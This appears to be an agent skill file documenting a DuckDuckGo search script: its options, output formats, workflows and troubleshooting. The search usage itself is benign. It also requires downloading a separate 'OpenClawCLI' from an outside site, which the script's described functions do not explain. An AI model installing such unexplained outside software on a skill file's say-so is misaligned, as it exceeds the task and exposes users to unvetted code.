Web Search Hub

Web Search Hub

Search the web using DuckDuckGo's API. Supports web pages, news articles, images, and videos with customizable filtering and output formats.

⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS) and run pip install duckduckgo-search

Installation Best Practices:

• If you encounter permission errors, use a virtual environment instead of system-wide installation
• For virtual environment: python -m venv venv && source venv/bin/activate && pip install duckduckgo-search
• Never use --break-system-packages as it can damage your system's Python installation

Quick Reference

Core Search Types

Web Search (Default)

Returns web pages with titles, URLs, and descriptions.

python scripts/search.py "quantum computing"
python scripts/search.py "python asyncio tutorial" --max-results 20

News Search

Returns articles with source, date, and summary.

python scripts/search.py "climate summit" --type news
python scripts/search.py "AI regulation" --type news --time-range d

Image Search

Returns images with URLs, thumbnails, dimensions, and source.

python scripts/search.py "mountain sunset" --type images
python scripts/search.py "abstract art" --type images --image-color Blue

Video Search

Returns videos with title, publisher, duration, date, and URL.

python scripts/search.py "cooking tutorial" --type videos
python scripts/search.py "documentary" --type videos --video-duration long

Essential Options

Result Count

--max-results N    # Default: 10, range: 1-unlimited

Examples:

python scripts/search.py "machine learning" --max-results 5   # Quick overview
python scripts/search.py "research topic" --max-results 30    # Comprehensive

Time Filtering

--time-range <d|w|m|y>
# d = past day
# w = past week  
# m = past month
# y = past year

Examples:

python scripts/search.py "tech news" --time-range d      # Today's news
python scripts/search.py "research papers" --time-range y # Recent publications

Region Selection

--region <code>    # Default: wt-wt (worldwide)

Common codes: us-en, uk-en, ca-en, au-en, de-de, fr-fr

Example:

python scripts/search.py "local events" --region us-en --type news

Safe Search

--safe-search <on|moderate|off>    # Default: moderate

Example:

python scripts/search.py "medical information" --safe-search on

Output Formats

Text (Default)

Clean, numbered results with URLs and descriptions.

python scripts/search.py "topic"

Output:

1. Page Title
   URL: https://example.com
   Description text here...

2. Next Result
   URL: https://example.com/page
   Description text...

Markdown

Formatted with headers, bold, and links.

python scripts/search.py "topic" --format markdown

Output:

## 1. Page Title

**URL:** https://example.com

Description text here...

JSON

Structured data for programmatic processing.

python scripts/search.py "topic" --format json

Output:

[
  {
    "title": "Page Title",
    "href": "https://example.com",
    "body": "Description text..."
  }
]

Save to File

--output <filepath>

Examples:

python scripts/search.py "AI trends" --output results.txt
python scripts/search.py "news" --type news --format markdown --output news.md
python scripts/search.py "data" --format json --output data.json

Image Search Filters

Size

--image-size <Small|Medium|Large|Wallpaper>

Example:

python scripts/search.py "landscape" --type images --image-size Large

Color

--image-color <color|Monochrome|Red|Orange|Yellow|Green|Blue|Purple|Pink|Brown|Black|Gray|Teal|White>

Example:

python scripts/search.py "abstract art" --type images --image-color Blue

Type

--image-type <photo|clipart|gif|transparent|line>

Example:

python scripts/search.py "icons" --type images --image-type transparent

Layout

--image-layout <Square|Tall|Wide>

Example:

python scripts/search.py "wallpaper" --type images --image-layout Wide

Video Search Filters

Duration

--video-duration <short|medium|long>

Example:

python scripts/search.py "recipe" --type videos --video-duration short

Resolution

--video-resolution <high|standard>

Example:

python scripts/search.py "tutorial" --type videos --video-resolution high

Common Workflows

Research a Topic

Gather comprehensive information across multiple search types:

# Web overview
python scripts/search.py "machine learning" --max-results 15 --output ml_web.txt

# Recent news
python scripts/search.py "machine learning" --type news --time-range m --output ml_news.txt

# Tutorial videos
python scripts/search.py "machine learning tutorial" --type videos --output ml_videos.txt

# Visual examples
python scripts/search.py "machine learning diagrams" --type images --max-results 20 --output ml_images.txt

Track Current Events

Monitor breaking news on specific topics:

python scripts/search.py "election results" --type news --time-range d --format markdown --output daily_news.md

Find Visual Resources

Search for images with specific requirements:

python scripts/search.py "data visualization" --type images --image-type photo --image-size Large --max-results 30 --output viz_images.txt

Fact-Check Information

Verify claims with recent sources:

python scripts/search.py "claim to verify" --time-range w --max-results 20 --output verification.txt

Market Research

Gather business intelligence:

python scripts/search.py "electric vehicle market 2025" --max-results 25 --output market_overview.txt
python scripts/search.py "EV industry" --type news --time-range m --output market_news.txt

Academic Research

Find scholarly resources:

python scripts/search.py "quantum entanglement" --time-range y --max-results 30 --format markdown --output research.md

Implementation Guidelines

When users request web searches, follow this approach:

1. Identify Intent

• What content type? (web, news, images, videos)
• How recent? (use --time-range for current info)
• How many results? (adjust --max-results)
• Any special filters? (size, color, duration, etc.)

2. Configure Search

python scripts/search.py "query" \
  --type <web|news|images|videos> \
  --max-results <N> \
  --time-range <d|w|m|y> \
  [additional filters]

3. Choose Format

• Text: Quick reading, immediate review
• Markdown: Documentation, formatted reports
• JSON: Further processing, automation

4. Execute and Process

# Run search
python scripts/search.py "query" [options] --output results.txt

# Read results if needed
cat results.txt

# Extract URLs or combine multiple searches

Best Practices

Search Strategy

1. Start specific - Use clear, targeted queries
2. Use time filters - Apply --time-range for current topics
3. Adjust result count - Start with 10-20, increase if needed
4. Choose right type - News for current events, web for general info

Output Management

1. Save important searches - Use --output to preserve results
2. Use appropriate format - JSON for automation, markdown for docs
3. Organize files - Create folders for multi-search research

API Usage

1. Avoid rapid requests - Space out searches to prevent rate limiting
2. Be efficient - Use filters to get better results with fewer searches
3. Respect limits - Don't hammer the API unnecessarily

Troubleshooting

Installation Issues

"Missing required dependency"

# Standard installation
pip install duckduckgo-search

# If you get permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install duckduckgo-search

Important: Never use --break-system-packages flag as it can corrupt your system's Python installation. Always use virtual environments for isolated package management.

"OpenClawCLI not found"

• Download from https://clawhub.ai/
• Install for your OS (Windows/MacOS)
• Verify installation: openclaw --version

Search Issues

"No results found"

• Broaden search terms
• Remove time filters
• Try different query phrasing

"Timeout errors"

• DuckDuckGo service may be temporarily unavailable
• Wait a moment and retry
• Check internet connection

"Unexpected results"

• DuckDuckGo results differ from Google
• Refine query with more specific terms
• Try adding context to the query

Rate Limiting

"Too many requests"

• Space out searches (wait 1-2 seconds between requests)
• Reduce frequency if making automated searches
• Consider batching queries instead of individual requests

Advanced Usage

Combining Multiple Searches

Build comprehensive research by combining search types:

# Create research folder
mkdir research

# Gather all content types
python scripts/search.py "topic" --max-results 20 --output research/web.txt
python scripts/search.py "topic" --type news --time-range m --output research/news.txt  
python scripts/search.py "topic" --type images --max-results 30 --output research/images.txt
python scripts/search.py "topic" --type videos --max-results 15 --output research/videos.txt

Programmatic Processing

Use JSON for automated workflows:

# Get JSON data
python scripts/search.py "research query" --format json --output data.json

# Process with custom script
python analyze_results.py data.json

Building Knowledge Bases

Create searchable documentation:

mkdir knowledge-base

# Search related topics
python scripts/search.py "topic1" --format markdown --output knowledge-base/topic1.md
python scripts/search.py "topic2" --format markdown --output knowledge-base/topic2.md
python scripts/search.py "topic3" --format markdown --output knowledge-base/topic3.md

Limitations

Search Capabilities

• Results depend on DuckDuckGo's index (may differ from Google)
• No advanced operators (no site:, filetype:, etc.)
• Image/video results may be limited compared to web search
• No control over ranking algorithms

Content Access

• Cannot access paywalled content
• Some sites may block DuckDuckGo crawler
• Dynamic JavaScript content may not be indexed
• Real-time data may have slight delays

API Constraints

• Rate limiting applies to prevent abuse
• No guaranteed uptime or availability
• Results may vary by region and time
• Some queries may be filtered for safety

Complete Command Reference

python scripts/search.py "<query>" [OPTIONS]

REQUIRED:
  query              Search query string (in quotes)

SEARCH TYPE:
  -t, --type         web|news|images|videos (default: web)

RESULTS:
  -n, --max-results  Maximum results (default: 10)
  --time-range       d|w|m|y (day, week, month, year)
  -r, --region       Region code (default: wt-wt)
  --safe-search      on|moderate|off (default: moderate)

OUTPUT:
  -f, --format       text|markdown|json (default: text)
  -o, --output       Save to file path

IMAGE FILTERS:
  --image-size       Small|Medium|Large|Wallpaper
  --image-color      color|Monochrome|Red|Orange|Yellow|Green|Blue|Purple|Pink|Brown|Black|Gray|Teal|White
  --image-type       photo|clipart|gif|transparent|line
  --image-layout     Square|Tall|Wide

VIDEO FILTERS:
  --video-duration   short|medium|long
  --video-resolution high|standard

HELP:
  --help             Show all options and usage examples

Examples by Use Case

Quick Searches

# Simple query
python scripts/search.py "python tutorials"

# Get more results
python scripts/search.py "python tutorials" --max-results 25

Current Events

# Today's news
python scripts/search.py "AI developments" --type news --time-range d

# This week's headlines
python scripts/search.py "technology" --type news --time-range w --max-results 30

Visual Content

# Find photos
python scripts/search.py "nature photography" --type images --image-type photo

# Specific color scheme
python scripts/search.py "office design" --type images --image-color Blue --image-size Large

# Transparent icons
python scripts/search.py "social media icons" --type images --image-type transparent

Video Content

# Short tutorials
python scripts/search.py "quick recipe" --type videos --video-duration short

# High-quality documentaries
python scripts/search.py "space documentary" --type videos --video-resolution high --video-duration long

Saved Research

# Create research report
python scripts/search.py "climate change solutions" --max-results 30 --format markdown --output climate_report.md

# Gather news archive
python scripts/search.py "tech industry" --type news --time-range m --format json --output tech_news.json

Support

For issues or questions:

1. Check this documentation for solutions
2. Run python scripts/search.py --help for command-line help
3. Verify OpenClawCLI installation at https://clawhub.ai/
4. Ensure duckduckgo-search library is installed

Key Resources:

• OpenClawCLI: https://clawhub.ai/
• DuckDuckGo Search Library: https://pypi.org/project/duckduckgo-search/